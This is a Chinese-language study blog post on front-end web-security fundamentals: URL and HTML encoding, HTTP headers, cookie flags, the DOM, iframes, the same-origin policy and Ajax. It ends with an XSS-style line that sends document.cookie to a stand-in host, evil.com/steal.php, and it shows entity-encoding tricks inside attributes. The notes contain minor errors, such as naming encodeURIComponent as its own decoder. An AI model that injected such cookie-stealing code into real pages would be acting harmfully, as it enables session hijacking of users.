《白帽子讲Web安全》学习二

内容主要选自《Web前端黑客技术揭秘》的前端基础

标准

w3c,万维网联盟,web世界的很多推荐标准由其制定,但有些网站可能没有严格执行,有些浏览器也不一定完全遵循,因此会出现“不兼容”问题

URL

统一资源定位符,通常所说的链接,通过URL可以查询到唯一资源
如:http://www.example.com/path?id=1#next
格式:<协议>://<网络地址(域名/IP)>/<路径>?<查询id=1>#<片段fragment>
注意fragment,举个例子:如果example.html的文档中包含一个id属性值为test的元素,那么使用example.html#test这个URL即可直接导航至该元素,将当前页面定位在此处

编码和解码方式

参考博客:
URL编码与解码
不同浏览器中URL的编码方式
关于URL编码
URL只能使用ASCII字符集,所以URL中有中文等其他字符需要进行编码,但是并没有编码的具体标准,所以编码解码都是浏览器来决定的
并且有些需要传参的例如?id=1,如果id所包含的内容中含有?等其他特殊字符咋办,这也需要编码

一些结论

可能已经不太适用,但提供几个场景供思考

  1. 网址路径的编码,用的是utf-8编码
  2. 查询字符串的编码,用的是操作系统的默认编码
  3. GET和POST方法的编码,不一定用的是网页的编码;网页里的form编码其实不完全取决于网页编码,form标记中有一个accept-charset属性,在非ie浏览器种,如果将其赋值(比如accept-charset=”UTF-8”),则表单会按照这个值表示的编码方式进行提交
  4. 在Ajax调用中,IE总是采用GB2312编码(操作系统的默认编码),而Firefox总是采用utf-8编码

可以这么说不同操作系统、不同浏览器、不同网页字符集将导致完全不同的编码结果,如何保证客户端只用一种编码方式向服务器发送请求?
先使用Javascript对URL编码,再向服务器提交,Javascript共有三个编码函数,分别是:escape() encodeURI() encodeURIComponent()

escape()

返回一个字符的Unicode编码
具体规则:除了ASCII字母、数字、标点符号”@ * _ + - . /“外,对其他所有字符进行编码,在\u0000与\u00ff之间的符号被转化成%xx的形式,其余符号被转成%uxxxxx的形式
解码函数unescape()
如”Hello World”的escape()编码就是”Hello%20World”,”春节”的返回结果是”%u6625%u8282”

encodeURI()

对整个URL进行编码,除了ASCII字母、数字、标点符号”‘ ; ? : & $ , # @ * _ + - . /“外,对其他所有字符进行编码,返回utf-8编码,在每个字节前加上%
例如”春节”被转化成”%E6%98%A5%E8%8A%82”
解码函数decodeURI()
它不对单引号编码

encodeURIComponent()

常用于对URL的组成部分编码,”; / ? : @ & = + $ , #”都会被编码
解码函数encodeURIComponent()
有个小实验:
在地址栏里使用百度搜”对+编码”,结果+被认为成空格了
而在网页表单中,+就是+

html编码

参见博客
XSS的原理分析与解剖:第四章(编码与绕过)
XSS编码剖析
实体的编码是&+希腊字母;,例如”<”的编码是”<”
字符编码的构造是&#加十进制、十六进制ASCII码或unicode字符编码;浏览器解析时先把html编码解析再渲染,但是该编码必须在属性值里,比如对src属性编码,但是不能对src编码
如:

1
2
<img src="ht&# x74;p&#x3a;//www.example.com">可以加载
<img s&# x72;c="http://www.example.com">不可以加载

HTTP协议

是一种无状态协议,可以参加我的计算机网络之应用层
请求头中的关键点:
Host:表明请求主机
User-Agent:表明身份,操作系统、浏览器、浏览器内核及对应的版本号等信息
Referer:表明从哪个网站点过来的
响应头中关键信息:
Server:服务端信息,web容器、操作系统、服务端语言及对应的版本等
X-Powered-By:里面也会透露服务端语言信息,但该字段有时候会被隐藏起来
Content-Type:相应资源的类型与字符集,会影响浏览器对响应体里的资源解析方式
Set-Cookie:

  1. expires:过期时间,如果过期时间在过去,则该Cookie要被删除
  2. path:相对路径,只有这个路径下的资源可以访问该Cookie
  3. domain:域名
  4. HttpOnly:默认无,如果有的话表明Cookie存在于HTTP层面,不能被客户端脚本读取
  5. Secure:默认无,有的话表明Cookie仅通过HTTPS协议传输

HTML

HTML由众多标签组成,标签内有对应的各种属性,标签可不区分大小写,可以不需要闭合,属性的值可以被单引号、双引号、甚至不需要引号围住,多余的空格和Tab不影响解析,html中可以嵌入css、js等不强调分离

dom树

html文档就是一个dom树
如下所示:
1

<html>是树根,其他都是树的每个节点,标签节点以<xxx>表示,属性节点以@xxx表示,文本节点以xxx表示,JavaScript可以对DOM树进行操作

iframe

iframe可以内嵌第三方内容,攻击者可以将iframe嵌入自己的网络木马页面,但是原网页与嵌入的网页间如何互相访问资源呢?如果两网页是同域的话,则可以互相操作dom,但是不同域的话要遵循同源策略,但是嵌入的网页依然可以对原网页的location进行写操作,可以让原网页重定向,但是不能读

JavaScript

控制前端逻辑

dom树操作

  1. document对象代表整个dom,例如document.getElementById(‘private_msg’).innerHTML还有document.ccokie
  2. window.location获取URL地址中的信息

《JavaScript DOM 编程艺术》

ajax

ajax是异步请求,无声无息
ajax发出http请求,JavaScript解析响应得到的数据,然后返回给dom树
ajax遵守同源策略,除非Access-Control-Allow-Origin之后是*通配符或指定的,表示任意域都可访问

模拟用户发起浏览器请求

1
2
//新建一个img比安奇对象,对象的src属性指向目标地址
new Image().src="http://www.evil.com/steal.php"+escape(document.cookie);